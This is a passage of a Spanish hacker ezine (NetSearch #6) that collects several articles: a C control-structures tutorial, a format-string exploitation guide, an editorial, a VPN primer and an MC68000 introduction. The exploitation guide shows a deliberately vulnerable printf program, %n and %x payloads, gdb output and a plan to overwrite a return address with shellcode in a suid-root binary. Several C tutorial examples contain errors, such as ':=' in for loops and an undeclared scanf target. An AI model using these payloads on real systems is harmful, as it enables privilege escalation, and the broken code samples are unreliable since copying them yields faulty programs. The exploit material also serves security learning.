1: if expresion sentencia;
2: else if expresion sentencia;
3: else if expresion sentencia;
4: else if ...;
switch
------
Lo que realiza switch es, segun los valores de la variable (case), que
tiene que ser de tipo integer o char, ejecutara unas sentencias u otras. La
comparacion siempre se realiza por igualdad.
1: switch (variable) {
2: case 0 : listar ( );
3: break ;
4: case 1 : introducir ( );
5: break ;
6: ...
7: default : error ( );
8: }
En caso de que no coincida con ningun valor, se ejecutaran las sentencias
asociadas a default, que no es obligatorio que aparezca. En las sentencias
aparece break, que sirve para salir del bucle. En caso de que no hubiera un
break, una vez que hubiera ejecutado su bloque de instrucciones, seguiria
ejecutando las que estan a continuacion sin llevar a cabo de nuevo las
comparaciones. Esto es util para asignar un mismo grupo de sentencias a un
conjunto de valores.
for
---
Sirve, en principio, para ejecutar un bloque de instrucciones un numero
determinado y conocido de veces.
1: for (inicializacion; condicion; incremento)
1: #include <stdio.h>
2: main ( )
3: {
4: int m;
5: for (m = 1; m < =100; m +=2)
6: printf ("%d\n", m);
7: }
La comparacion, al igual que la condicion y el incremento, puede llegar a
ser cualquier cosa.
1: for (;;) /* Esto seria un bucle infinito */
2: { /* Para salir tendriamos que usar un break, exit o return.
3: ... Se explica mas adelante */
4: }
Un bucle for, no tiene porque usar cuerpo.
1: #include <stdio.h>
2: main ( )
3: {
4: int tabla[5];
5: int i;
6: for (i :=0; i < 5; tabla[i++] = 10);
7: /*Inicializa el vector */
8: for (i = 0; i < 5; i++)
9: printf ("tabla[%1d]=%d\n", i, tabla[i]);
10: }
Los dos bucles for anteriores, se podian haber resumido como:
1: for (i = 0; i < 5; tabla [i] = 10, printf ("Tabla
[%1d]=%d\n",i,tabla[i]), i++);
Las variables de control no tienen porque ser solo una:
1: for (x =0; y=0; x+y < 10; x ++) {
2: y = getchar ( );
3: y = y - '0'; /* Esto nos sirve para convertir un codigo ASCII a
4: numero */
5: }
1: reconocimiento ( )
2: {
3: char str [20];
4: int x;
5: for (x = 0; x <= 3 && strcmp (str, "clave"); ++x) {
6: printf ("Introduzca la clave");
7: gets (str);
8: }
9: if ( x = =3) terminar ( );
10 }
strcmp compara dos cadenas y devuelve 0 si son iguales. Esta incluida en la
libreria string.h.
1: main ( )
2: {
3: int t;
4: for (peticion ; t = leernum( ); peticion )
5: raiz ( t );
5: }
6: peticion ( )
7: {
8: printf (" : ");
9: }
10: leernum ( )
11: {
12: int t;
13: scanf ("%d", &t);
14: return t;
15: }
16: raiz (int num)
17 {
18: printf ("%d\n", sqrt (num));
19: /* sqrt halla la raiz cuadrada de un numero */
20: }
1: #include <stdio.h>
2:
3: main ()
4: {
5: unsigned char mascara = 128; /* 10000000 */
6: unsigned char n;
7: int i;
8: printf ("Introduce un numero entero entre 0 y 255:");
9: scanf("%u", &u);
10: printf("Representacin binaria:");
11: for (i:=1; i <=8; i++) {
12: putchar (( n & mascara ? '1' : '0' );
13: mascara >> 1;
14: }
15: }
while
-----
Repite un conjunto de instrucciones mientras se den unas condiciones, que
evalua antes de entrar en el bucle.
1: while (condicion) sentencia;
1: leer ()
2: {
3: char ch;
4: ch = '\0';
5: while (ch != 'A')
6: ch = getchar ();
7: }
1: func1 ()
2: {
3: int t;
4: t = 1;
5: while (t) {
6: t = proceso1();
7: if (t)
8: t = proceso2();
9: if (t)
10: t = proceso3();
11: }
12: }
La sentencia while, al igual que el resto no tiene porque incluir un
cuerpo:
1: while (( ch = getchar()) != 's');
do while
--------
Ejecuta una serie de sentencias mientras la condicion sea verdadera. En
este caso evalua la condicion al final, por lo que siempre ejecutara las
sentencias, al menos, una vez.
1: do {
2: sentencia;
3: } while (condicion);
1: do {
2: scanf("%d", &num);
3: } while (num < 100);
Este tipo de sentencias se usa mucho para ejecucion de menus.
1: menu ()
2: {
3: char ch;
4: printf ("1. Altas\n");
5: printf ("2. Bajas\n");
6: printf ("3. Modificar\n");
7: printf ();
8: printf ("4. Salir\n");
9: do {
10: ch = getchar();
11: switch (ch) {
12: case '1' :
13: altas ();
14: break;
15: case '2' :
16: bajas ();
17: break;
18: case '3' :
19: modificar ();
20: break;
21: }
22: }while (ch != '1' && ch != '2' && ch != '3');
23: }
break
-----
Sentencia que sirve para salir de un bucle de cualquier tipo, sin tener en
cuenta la condicion de este. Ademas, como ya vimos, en un switch sirve para
que solo ejecute una conjunto de sentencias de una seccion.
1: main ()
2: {
3: int t,p;
4: for (t=0; t < 100; t++) {
5: printf ("%d", t);
6: scanf ("%d", &p);
7: if (t == 10 || p == 10) break;
8: }
9: }
En caso de que estemos en bucles anidados, break sale del bucle mas
interior de los que estemos.
exit
----
Sirve para salir de un programa. Se encuentra en el archivo de cabecera
process.h
continue
--------
Fuerza una nueva iteracion del bucle, saltando las condiciones que vengan a
continuacion y volviendo al principio del bucle.
1: do {
2: scanf(%d", &num);
3: if (num < 100) continue;
4: printf ("%d", num);
5: } while ( num != 100);
goto
----
Salta hasta una seccion de codigo indicada.
1: goto etiqueta;
2:
...
n: :etiqueta
Olvidate de esto, porque va en contra de todos los estandares de
programacion.
--<->--<->--
Esto es todo por este articulillo. Todas las dudas, sugerencias, insultos,
mandarmelos a mi correo, que ultimamente anda mu vacio...(no voy a pediros
dinero... al menos de momento).
En el proximo numero nos meteremos con algo mas complicadillo, matrices,
punteros y funciones. Espero que os sea leve hasta entonces.
Que os vaya... bonito.
----------------
// 0.- Indice
----------------
0.- Indice
1.- Prologo
2.- Introduccion a los Bugs de Formato
3.- Xplotando los Bugs de Formato
4.- Codigo del Xploit final
5.- Despedida
----------------
// 1.- Prologo
----------------
-------------------------------------------
// 2.- Introduccion a los bugs de formato
-------------------------------------------
Bueno bueno.. por donde empiezo? Los bugs de formato se producen (o son
xplotables) cuando un programa realiza una llamada a una funcion *printf sin
especificar su formato. Ejemplo:
Despues de todo este rollo pasemos a explicar.. Lo que hemos hecho ha sido
crear un ultrasimple programa que printea por pantalla un string. Lo
ejecutamos con el gdb y hacemos un break justo antes de la llamada a printf
(con formato - %s). Observamos la pila y vemos que coloca dos direcciones; la
primera corresponde al formato y la segunda al string.
--------------------------------------
// 3.- Xplotando los bugs de formato
--------------------------------------
Ahora que ya sabemos como hace el sistema para colocar los especificadores de
formato y variables en la pila para llamar a printf, veamos como xplotarlo.
Por cierto, esta explicacion se basa en printf, pero sirve para cualquier
llamada a *printf (varia un poco la pila obviamente, pero en el fondo es lo
mismo).
Para xplotar un bug de este tipo hay varias formas, pero yo solo explicare
una, ya que este metodo puede decirse que es 'universal' y funciona en casi
todos los casos. Para ello utilizaremos el especificador de formato '%n'.
Como sabreis este formato es un tanto especial, ya que no se usa para
printear nada por pantalla, pero si que lleva un argumento asociado. Dicho
argumento siempre es la direccion de un entero en memoria. Explicado
brevemente lo que hace printf es guardar en el entero el numero de caracteres
que se han mostrado por pantalla. Pongamos un ejemplo:
[raise@apolo formats]$ cat > codigo3.c
<++> formats/codigo3.c $4de446343b3eeae6deaf084207bfa8e4
#include <stdio.h>
main()
{
int a, b;
printf("hola%npepe%n\n", &a, &b);
printf("A: %d, B: %d", a, b);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo3 codigo3.c
Este programa mostrara por pantalla lo siguiente:
holapepe
A: 4, B: 8
Ya que cuando el primer %n se habian mostrado 4 caracteres (hola), y en el
segundo 8 (holapepe). Es decir, con el especificador de formato '%n' podremos
sobreescribir partes de la memoria (teoricamente variables int's que
hayamos declarado nosotros). Volvamos con el gdb y veamos lo q pasa que con
el programa anterior.
Como vemos se han sobreescrito las variables a(4) y b(8), aparecen al reves
por lo que he explicado antes (para no tener que hacer dos 'x/1xw'). Pues
bien, observemos ahora que ocurre si en un printf sin formato incluimos el
especificador '%n'.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4005fdd7 in vfprintf () from /lib/libc.so.6
(gdb) x/1i 0x4005fdd7
0x4005fdd7 <vfprintf+2103>: mov %ecx,(%eax)
(gdb) info reg eax
eax 0x0 0
Efectivamente intenta copiar %ecx al contenido de %eax, que al ser null pues
produce el fallo de segmento. Ahora bien, estaria genial que pudieramos
elegir nosotros la direccion donde se va a escribir el byte, y si encima
podemos ir calculando el contenido que se escribe no habria ningun problema
para obtener el control del programa. La duda es, como hacemos para elegir la
direccion destino y el contenido? Muy sencillo, con un pequeo programa en C
(o en cualquier lenguaje por supuesto).
Todo esto claro esta no puede usarse sino podemos modificar el contenido de
la variable pepe. Veamos este otro codigo.
bzero(pepe, 1024);
printf("Programa vulnerable by RaiSe (NS #6 / 0x04)\n\n");
printf("Introduzca cadena: ");
fflush(stdout);
read(0, pepe, 1024);
printf(pepe);
}
<-->
[raise@apolo formats]$ gcc -g -o codigo5 codigo5.c
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: manolo
manolo
[raise@apolo formats]$
Como vemos funciona perfectamente, ahora veamos que ocurre cuando hacemos lo
siguiente.
Analicemos.. por cada %x el programa coge los valores que hay en la pila
detras de la cadena de formato y los printea en hexadecimal. Por lo tanto
teoricamente si lo volvemos a ejecutar y ponemos "pepe%n" se escribira un 0x4
en la direccion de memoria 0xbffff49c, si? Probemos a poner "pepe%n%n", se
escribira dos 0x4, uno en 0xbffff49c y otro en 0x400, con lo que se producira
un segv fault y hara 'core'.
[raise@apolo formats]$ ./codigo5
Programa vulnerable by RaiSe (NS #6 / 0x04)
Introduzca cadena: pepe%n%n
Violacion de segmento (core dumped)
[raise@apolo formats]$ gdb -q --core=core
Core was generated by `./codigo5'.
Program terminated with signal 11, Violacion de segmento.
#0 0x4005fdd7 in ?? ()
(gdb) x/1xw 0xbffff49c
0xbffff49c: 0x00000004
Veamos, con los cinco '%8x' salta hasta la direccion de pepe, despues con los
cuatro '%n' sobreescribe y salta a la vez, con lo que en el ultimo '%x'
printeamos el contenido de pepe[16], que como podemos vemos es lo que
habiamos querido sobreescribir :).
Ahora seamos un poco mas maquiavelicos, intentemos sobreescribir la direccion
de retorno de main con la direccion de una shellcode. Dicha scode la
meteremos despues del cuarto '%n'. Justo antes de cada '%n' pondremos
"\xeb\x02", que corresponden a la instruccion en asm 'jmp 0x2'. De esta forma
si el programa salta a un nop no petara cuando llegue al especificador de
formato, sino que lo saltara y seguira bajando hasta la scode. Por supuesto a
cada seteo de los arrays tendremos que restarle ahora tambien 0x2. La dire de
retorno la sacamos con el gdb (por ejemplo). Hay que tener en cuenta que
entre ejecutar el codigo5 bajo gdb o no, hay una pequea diferencia en cuanto
a direcciones de memoria, por lo tanto lo mejor para sacar la dire de retorno
es hacer lo siguiente:
--------------------------------
// 4.- Codigo del Xploit final
--------------------------------
Como vemos ha funcionado bastante bien. Del xploit hay poco que comentar
porque practicamente no hay nada nuevo, lo unico la shellcode y las
parejas de dos bytes "\xeb\x02" justo antes de cada '%n'. Lo demas ya lo
habiamos visto anteriormente, la unica diferencia es que ahora lo hemos
aprovechado para hacer algo un poco mas divertido :).
Por supuesto este xploit es muy poco probable que funcione en tu maquina, ya
que las direcciones de retorno/scode varian de un ordenador a otro. Si
quieres que te rule adapta el xploit a tu maquina, solo tienes que averiguar
las direcciones (con el gdb for example). Para sacar la dire de retorno por
el metodo que yo use deberas hacerlo antes de setear codigo5 con suid root,
porque sino lo mas probable es que no haga core. En una caso hipotetico de
que ya estuviera seteado se solucionaria facilmente, solo habria que copiar
el binario a tu directorio y ejecutarlo desde ahi, de esa forma si que haria
core y la direccion de retorno no variaria.
------------------
// 5.- Despedida
------------------
Como habia dicho al principio de este articulo, en NS #7 habra segunda parte,
donde se trataran algunos temas un poco mas complejos. Algunos de esos temas
seran: metodos para averiguar la direccion de retorno sin usar gdb, que pasa
cuando la direccion que quieres sobreescribir no esta alineada (pads), etc.
Mientras tanto tendreis que conformaros con este articulillo, que sin
pretender ser de los mejores, espero que sirva para aquellos que estan
empezando con este tipo de overflows.
Pues nada, ha sido un placer :). Os recuerdo que dudas, comentarios,
criticas, etc. sobre el articulo las podeis enviar a la direccion:
raise@netsearch-ezine.com.
Un saludo a tod@s.
RaiSe
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Buenas :). Como no se me ocurre nada que decir empezare esta seccion
recordando las cosas 'tipicas' que suelo comentar en la editorial o en este
apartado (NetSearch al habla).
Pues bien.. Comencemos con las caracteristicas 'tecnicas' necesarias que
tiene que tener un articulo para ser publicado en el ezine. Lo de las 77
columnas parece que no ha quedado del todo claro, porque nos siguen llegando
algun que otro articulo con un numero superior.. De todas formas los
documentos se 'retocan' un poco por el editor (usease yo) en caso de que
lleven acentos, tema de columnas, etc. Por supuesto si los textos cumplieran
todo perfectamente su revision seria mucho mas rapido, y nos podriamos
dedicar a otras cosas mas fructiferas. Asi que ya sabeis, a escribir a 77
columnas tocan ;).
La lista de caracteristicas optimas de un articulo son:
Aprovecho para recordaros que si quereis contactar con los miembros del
staff, ya sea para enviar alguna sugerencia, critica, comentario, etc.,
podeis hacerlo mandando un mail a la direccion: <staff@netsearch-ezine.com>.
Si por el contrario quereis mandar un articulo lo ideal seria que se lo
enviarais directamente al editor (por el tema de filtros y demas), a la
siguiente direccion: <editor@netsearch-ezine.com>.
Mm.. q mas?..
Os recuerdo tambien tres cosillas 'de siempre'. La primera es que podeis
apuntaros a nuestra lista de correo en yahoogroups, abierta a todo el que
quiera participar. Para inscribiros solo teneis que dirigiros a la direccion
'http://groups.yahoo.com/subscribe/netsearch'. La segunda es que si preferis
tener cada articulo en un fichero por separado podeis conseguirlo con solo
ejecutar: "nextract -s ns006.txt" (el codigo del nextract siempre acompaa al
ezine). Y la tercera es que si quereis daros de alta en el desafio de RC5-64
de distributed.net podeis apuntaros a nuestro 'team'; nuestro numero de
identificacion es el 11007.
Cambiando de tema.. El dia 6 de Agosto empieza (como muchos sabran) la
campus-party en Valencia. Durara casi una semana, hasta el dia 12 para ser
exactos. Alli los (afortunados) presentes disfrutaran de cosas como:
campeonatos en red, charlas, conexion a Internet a alta velocidad, concursos,
etc. Por supuesto el staff de NetSearch Ezine estara practicamente al
completo :), asi que nos veremos por alli..
Sigamos.. Me imagino que os habreis enterado del 'hackeo' a la que se vio
sometido el ezine electronico SET, aproximadamente el 2 de Junio. En realidad
lo que paso (para los que no esten informados) fue que les 'robaron' el
dominio usando ingenieria social en Network Solutions, siendo practicamente
imposible de recuperar. Independientemente de la simpatia que pueda sentir (o
no sentir) por SET, esta claro que eso es un robo en toda regla. Vamos..
que es una putada considerable que no se la deseo ni a mi peor enemigo XD.
Por lo tanto desde aqui expreso mi desacuerdo con los metodos que el tal
'OTT' (persona que firmo la pagina web, http://www.set-ezine.org) ha
utilizado. Ademas, que parece mas un ataque personal que otra cosa.. En fin,
como no queremos avivar mas la polemica, dejaremos que el tiempo ponga las
cosas en su sitio.
Y ya que estamos hablando de otros grupos de la scane espaola, pasare a
comentar como veo el panorama desde mi punto de vista personal. Y es que
(espero equivocarme) yo no lo veo nada claro.. Los grupos que prometian y que
iban saliendo no hacen mas que desaparecer, yo no entiendo nada :?. Me estoy
refiriendo por ejemplo a grupos como digitalsec, outlimit, e-n-g, 2500Hz,
jjf, apostols.. Por cierto pido perdon si alguno de los grupos que acabo de
nombrar no ha desaparecido, yo me estoy refiriendo a los que su website ya no
esta activa (o lleva aos sin actualizarse, caso de jjf -aunque segun me han
comentado por ahi estan pensando en ponerse manos a la obra otra vez, de lo
que nos alegramos desde aqui-).
Resumiendo el panorama no es muy prometedor (y menos con cosas como lo de SET
y OTT). Menos mal que quedan algunos grupos que aun siguen, y haciendolo muy
bien a mi modo de ver las cosas. Me estoy refiriendo a gente como la de
Hispahack, Undersec o 7a69ezine, a la cual mandamos un saludo desde aqui ;).
Ojala la cosa cambie uno poco de aqui en adelante, porque sino las webs de
calidad de la scene espaola se podran contar con los dedos de una mano.. y
eso no es bueno para nadie.
Y nada mas.. que me parece que para este numero me estoy enrollando un poco
mas de la cuenta :). Nos veremos en NetSearch Ezine #7, que saldra.. mm.. en
Octubre/Noviembre mas o menos, estaros atentos a nuestro website:
http://www.netsearch-ezine.com.
Os deseo un feliz verano a tod@s, que lo paseis bien en la playa (piscina
para algunos), y esas cosas ;). Hasta pronto.
El Editor
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
I N D I C E
0 Prologo
1 Introduccion a las VPN
1.1 Usos comunes de una VPN
1.2 Requerimientos basicos de una VPN
2 Conceptos basicos de Tunneling
2.1 Protocolos de Tunneling
2.1.1 Como funciona el Tunneling
2.2 Point-to-Point Protocol (PPP)
2.3 Point-to-Point Tunneling Protocol (PPTP)
2.4 Layer 2 Forwarding (L2F)
2.5 Layer 2 Tunneling Protocol (L2TP)
2.6 Internet Protocol Security (IPSec) Tunnel Mode
2.7 Tipos de tuneles
3 Conclusion
4 Glosario
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[0] P R O L O G O
En este documento intentare explicar el funcionamiento de una Red
Privada Virtual, asi como la descripcion y caracteristicas de los
protocolos utilizados para estos fines. Explicare tambien el con-
cepto de tunneling y el encapsulado de paquetes. De igual manera,
describire el proceso que se lleva a cabo desde que se establece
un tunel hasta que este es terminado.
La mayoria de los ejemplos expuestos en este documento se basan
en la implementacion de Redes Privadas Virtuales sobre Internet,
siendo este medio el mas accesible y economico, pero no el unico.
Este documento esta enfocado al usuario en general, por lo que
puede contener ejemplos o explicaciones demasiado obvias para el
usuario avanzado.
Al final de este articulo inclui un glosario de terminos usados
a lo largo de este documento. Dichas definiciones pueden no ser
tan tecnicas o especificas como algunos pudieran esperar, sino
que son definiciones propias del autor, por lo que se sugiere
consultar esos terminos en caso de tener dudas con respecto a su
definicion.
Puesto que las Redes Privadas Virtuales no es mi especialidad,
este documento podria contener conceptos confusos, por lo que se
sugiere consultar alguna publicacion que el lector considere
cien por ciento confiable en caso de querer aplicar los conceptos
aqui expuestos.
El Autor
root@hackingzone.org
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[1] I N T R O D U C C I O N
Una Red Privada Virtual (VPN, Virtual Private Network) nos permite
conectar los componentes de una red sobre otra red, simulando un enlace
privado dedicado entre los extremos de la VPN, permitiendo de esta
manera que un usuario remoto, que se encuentre de viaje en cualquier
parte del mundo, o una oficina que se encuentre en otra localidad, puedan
conectarse a su red corporativa utilizando la infraestructura de una red
publica, tal como Internet. (Fig. 1)
_____ _____
/____/| . . . . . /____/|
| ||| . . . | |||
| || ________ . . ________ | ||
|_____|/| /______/| . INTERNET . /______/| |_____|/|
|_____|/ | | | . . | | | |_____|/
| | . -- | | . . | . -- | | |
___|___________| . -- | |##########################| . -- | |_____|_________
__|__ | . -- | | . /\ . | . -- | | __|__
/____/| | . -- | | . \ . | . -- | | /____/|
| ||| | . -- | | . . \ . | . -- | | | |||
| || |______|/ . . \ . |______|/ | ||
|_____|/| . . . . . . \ |_____|/|
|_____|/ \ |_____|/
Red Privada Virtual
Fig. 1: Red Privada Virtual
1.1 Usos comunes de una VPN
- Acesso de un usuario remoto sobre Internet.
Una VPN permite el acceso remoto a recursos corporativos sobre una red
publica (de aqui en adelante, Internet). En lugar de conectarse con su
modem haciendo una llamada de larga distancia, el usuario solo debe
marcar a su ISP local. Una vez conectado a Internet, el software VPN
del usuario creara una red privada virtual entre su equipo de computo
y el servidor VPN corporativo a traves de Internet.
- Conexion de redes sobre Internet.
Es posible tambien implementar una VPN para conectar oficinas externas
situadas en diferentes ciudades, a la red corporativa, evitando con
esto la necesidad de un circuito dedicado como Frame Relay, por citar
solo uno. Por ejemplo, aca en Mexico, tenemos frontera con los Estados
Unidos, lo cual obliga a las empresas ubicadas en la region fronteriza a
utilizar soluciones basadas en microondas para enlazar sus redes usando
alguna solucion como Frame Relay, por ejemplo, lo cual requiere invertir
una buena cantidad de dinero en equipo de comunicaciones. En cambio, si
se implementa una VPN solo necesitariamos una linea dedicada a un ISP y
lo necesario para montar la VPN (servidores VPN, enrutadores, etc.)
La oficina que quisiera establecer una conexion con la red corporativa
no necesariamente tendria que utilizar una linea dedicada a su ISP,
pues tambien podria realizar la conexion utilizando dial-up. No es lo
ideal, pero es posible hacerlo. Sin embargo, el servidor VPN deberia
estar conectado a Internet utilizando un enlace dedicado, para que
pueda estar escuchando trafico VPN las 24 horas.
(A proposito, yo no se que tan bien funcionen las conexiones dial-up
alla en Espaa, pero aca en Mexico son verdaderamente pateticas) }:/
Como nota adicional, es posible tambien, debido a su flexibilidad,
implementar una VPN sobre la misma LAN corporativa. Para entenderlo,
veamos el siguiente ejemplo:
Es comun ver que en algunas empresas, su departamento donde manejan
informacion critica o confidencial, esta aislado del resto de la red,
es decir, fisicamente desconectado de la red corporativa. Aunque esto
es una medida de seguridad que proteje esa informacion confidencial de
algun incidente que pudiera surgir, provoca al mismo tiempo, un
problema de accesibilidad para los usuarios que no estan fisicamente
conectados a esa red aislada.
Una VPN permitiria entonces a ambas redes estar fisicamente conectadas
pero separadas por un servidor VPN, el cual no actuaria como enrutador
sino como un NAS (Network Access Server), asi mismo permitiria el
acceso solo a aquellos usuarios autorizados. Ademas, todo el trafico
VPN puede ser encriptado para una mayor confidencialidad.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[2] C O N C E P T O S B A S I C O S D E T U N N E L I N G
Tunneling es un metodo que consiste en utilizar la infraestructura de
una interred (como Internet), para transportar datos de una red a otra.
Los datos a ser transportados pueden ser los cuadros (o paquetes) de un
protocolo diferente al que maneje la interred en cuestion, es decir, en
lugar de enviar un cuadro tal y como fue producido por el nodo que lo
origino, el protocolo de tunneling (ya sea L2TP, IPSec, etc) encapsula el
cuadro en un header (encabezado) adicional que pertenece al protocolo de
transporte de la interred sobre la cual se establece el tunel (por
ejemplo, IP).
Los paquetes encapsulados son entonces enrutados sobre la interred entre
los extremos del tunel. A esa ruta logica a travez de la cual viajan los
paquetes encapsulados sobre la interred se le llama 'tunel'.
Cuando los paquetes (o cuadros) encapsulados llegan a su destino, el
cuadro (o paquete :-P) es desencapsulado y reenviado a su destino final.
Si alguna vez has trabajado con Novell NetWare o por lo menos has visto
como funciona esto lo vas a entender muy facil ;-).
Supongamos que tenemos un cliente y un servidor NetWare. Como es bien
sabido, el protocolo de transporte de NetWare es el IPX.
Bien, supongamos que ambos, cliente y servidor, se encuentran en
ciudades diferentes. Ambos estan conectados a una interred IP. A simple
vista, esto es incompatible, pues no es posible enviar paquetes IPX
sobre IP.
Entonces como se hace? Pues el cliente envia un paquete IPX al servidor
que esta en otra ciudad, pero para que ese paquete salga, pasa por el
enrutador local, el cual encapsula el paquete IPX en un paquete IP, es
decir, al paquete IPX le agrega un header IP y listo: ahora es un
paquete IP.
En seguida, el paquete, que ahora es IP, viaja por la interred IP hasta
llegar al otro enrutador.
Al llegar el paquete IP al otro enrutador, este lo recibe y le quita el
header IP, es decir, lo desencapsula. A continuacion, reenvia el paquete
(que ahora es un paquete IPX) a su destino: el servidor NetWare :-)
Weno, pues yo considero este ejemplo demasiado claro y espero que haya
quedado bien entendido el concepto de Tunneling. Ver fig. 2
. . . . . . .
Router 1 . . . Router 2
_____ . Interred IP . _____
/____/| ______________________________ /____/|
_____ | || /\ __________ \ | || _____
|_____| |____|| | | Tunel |______|___| ---> | |____|| |_____|
IPX |____|/ \/______________/_____ \ ______/ |____|/ IPX
. / \ .
. / . \
. / . . . Encabezado IP
Paquete IPX encapsulado /
En resumen:
Durante el tunneling, los paquetes del protocolo ABC se encapsulan en
paquetes del protocolo XYZ para poder ser enviados a travez de una
interred XYZ. Al llegar estos paquetes, son desencapsulados y reenvia a
su destino final como paquetes ABC (*).
Cabe hacer la aclaracion que no necesariamente los paquetes procesados
por el protocolo de tunneling tienen que ser diferentes al protocolo de
la interred, tal es el caso de IP-sobre-IP y de IPSec, que encapsulan
paquetes IP para posteriormente ser transportados sobre una red IP.
* Los protocolos ABC y XYZ son meramente ficticios, asi que, si usted se
cree un guru en redes, no se sienta frustrado por no conocerlos xDD.
En vista de que PPTP y L2TP son muy similares, debemos hacer notar
cuales son las diferencias entre ambos:
- PPTP requiere forzosamente de una interred IP. L2TP solamente
requiere que el medio de tunneling ofrezca conectividad
punto-a-punto basada en paquetes, tales como IP (usando UDP),
Frame Relay, X.25 o ATM.
- PPTP solo puede soportar un tunel entre ambos extremos. L2TP, por
el contrario, permite el uso de multiples tuneles entre los
extremos.
- L2TP proporciona opcionalmente compresion de encabezados.
- L2TP ofrece autenticacion de tunel, mientras que PPTP no. Si
cualquiera de estos protocolos es usado sobre IPSec, la
autenticacion de tunel es proporcionada por IPSec, por lo cual la
autenticacion de tunel Layer 2 no es necesaria.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[3] C O N C L U S I O N
Weno, pues espero que todo haya quedado bien claro, y por ultimo, voy a
resumir todo lo anterior en unas cuantas liniecillas :-P.
Recordemos que una VPN conecta los componentes de una red sobre otra
red, independientemente del protocolo que esta red utilice para el
transporte de datos (usualmente, IP). Una VPN simula un enlace
privado entre los extremos de la misma.
Para realizar todo esto, se utiliza una tecnica llamada tunneling
que consiste en encapsular los paquetes (o cuadros) de determinado
protocolo (IP, IPX, etc) en paquetes (o cuadros) de la interred
sobre la cual va a ser establecido el tunel.
El encapsulado consiste unicamente en agregar el encabezado del
protocolo de la interred (usualmente, un encabezado IP), al paquete
del protocolo de la red que lo origino (por ejemplo, IPX).
El tunneling puede estar basado en protocolos Layer 2 tales como
PPTP, L2TP o L2F, o estar basado en protocolos Layer 3 tales como
IPoIP o IPSec.
Todos los protocolos Layer 2 estan basados en PPP, que es el mismo
protocolo utilizado entre nuestra computadora y nuestro ISP cuando
nos conectamos a Internet usando un modem telefonico.
IPSec es un protocolo Layer 3 que encripta paquetes IP dentro de
paquetes IP para ser enviados de forma segura a traves de una
interred privada o publica. IPSec solo funciona sobre interredes
IP.
El tunel entre un cliente remoto y un servidor VPN puede ser
voluntario u obligatorio.
Cuando es voluntario, la computadora del usuario es un extremo del
tunel, el cual actua como cliente tunel.
Cuando es obligatorio, el usuario marca a su ISP, el cual establece
el tunel con el servidor VPN. De esta manera, el ISP llega a ser un
extremo del tunel y a su vez, actua como cliente tunel.
En el caso de un tunel obligatorio, varios usuarios puede compartir
el tunel establecido entre el FEP y el servidor VPN.
Weno, pues es todo por esta vez. Nos vemos en el proximo e-zine ;-).
Espero que les haya gustado el arti, a pesar de ser muy basico :-).
Joer, tambien espero pronto pillar el acento espaol pa que molen
los artis xDD.
Weno, pos salu2 a tod@s :-).
Un saludote tambien a los compatriotas de Raza Mexicana y a X-ploit ;-).
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[4] G L O S A R I O
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
===== [ Introduccion ]
Buenas.
Esto pretende ser el primero de una serie de articulos (si es que veo
interes y tengo tiempo) sobre Electronica Digital. Voy a intentar enfocarlo
para que cualquiera pueda empezar en este tema. No obstante, dare por hecho
ciertos conocimientos basicos sobre informatica (numeracion hexadecimal,
binaria,...).
Bien, la electronica digital es un tema muy amplio, por tanto esto sera
algo asi como una guia basica a partir de la cual podreis investigar vosotros
mismos y profundizar. Existen multitud de microprocesadores; yo voy a
escribir sobre el MC68000 de Motorola, ya que es el que conozco y es un buen
micro con el que aprender. Esta claro que despues utilizareis otros, pero
sabiendo uno no tendreis problemas en aprender otros.
Estoy hablando de micros, ya que en este articulo voy a empezar con la
estructura y la programacion del micro. Decidi empezar por aqui porque creo
que es lo mas interesante para empezar en electronica, ademas sera una buena
guia de iniciacion a lenguaje ensamblador para la gente que no sabe
utilizarlo Si veo que interesa, en otros articulos escribire sobre mapeo de
memorias, circuiteria de seleccion,...
En la web (http://mc68k.netsearch-ezine.com) podreis encontrar un
simulador del MC68000 y un manual de funcionamiento con el que podreis
compilar y simular los programas que hagais.
Puede que os esteis preguntando cual es la aplicacion de todo el royo que
vais a leer, sobre todo aplicado a los temas que os interesan. Programando un
micro (en la practica, lo mas seguro es que programeis un PIC, que es un poco
mas limitado que un micro, pero os llegara de sobra) y creando un circuito
digital controlado por el, podeis hacer desde una calculadora hasta un
selector entre multiples targetas SIM segun el PIN introducido, cerraduras
controladas por una tarjeta EPROM, emuladores de... cualquier circuito que
conozcais ;)
Bueno, sin mas preambulos empiezo.
===== [ Indice ]
1. Introduccion
HARDWARE
2. Propiedades hardware
3. Modelo de programacion
4. La Memoria
SOFTWARE
5. Modos de Direccionamiento
6. Juego de instrucciones
7. Subrutinas
8. Excepciones
9. Interrupciones
10. Ejemplo practico
========== [ HARDWARE ]
===== [ Propiedades hardware ]
-Bus interno: 16 bits
-Unidad Aritmetico Logica (ALU) puede operar sobre 16 bits directamente
-Registros internos de 32 bits (Datos y Direcciones)
-La Entrada/Salida esta mapeada en memoria (Intel utiliza buses diferentes
para entrada/salida)
-Bus de datos: 16 bits
-Bus de direcciones: 32 bits (pero solo utiliza las 24 lineas menos
significativas)
VCC
|
___|_____________
| | _
GND |--| |---> A1 * |
| | . |
CLK ------| | . | Bus de direcciones
_ | | . |
Status | FC0 <---| |---> A23 -
| FC1 <---| | _
- FC2 <---| |<--> D0 |
_ | | . |
| E <----| | . | Bus de datos
Control | ___ | | . |
de | VMA <---| |<--> D15 -
perifericos | ___ | | __ _
- VPA --->| MC68000 |---> AS |
| | _ |
_ ____ | |---> R/W |
| BERR -->| | ___ | Control
Control | _____ | |---> UDS | bus asincrono
del | RESET <-->| | ___ |
sistema | ____ | |---> LDS |
- HALT <-->| | _____ |
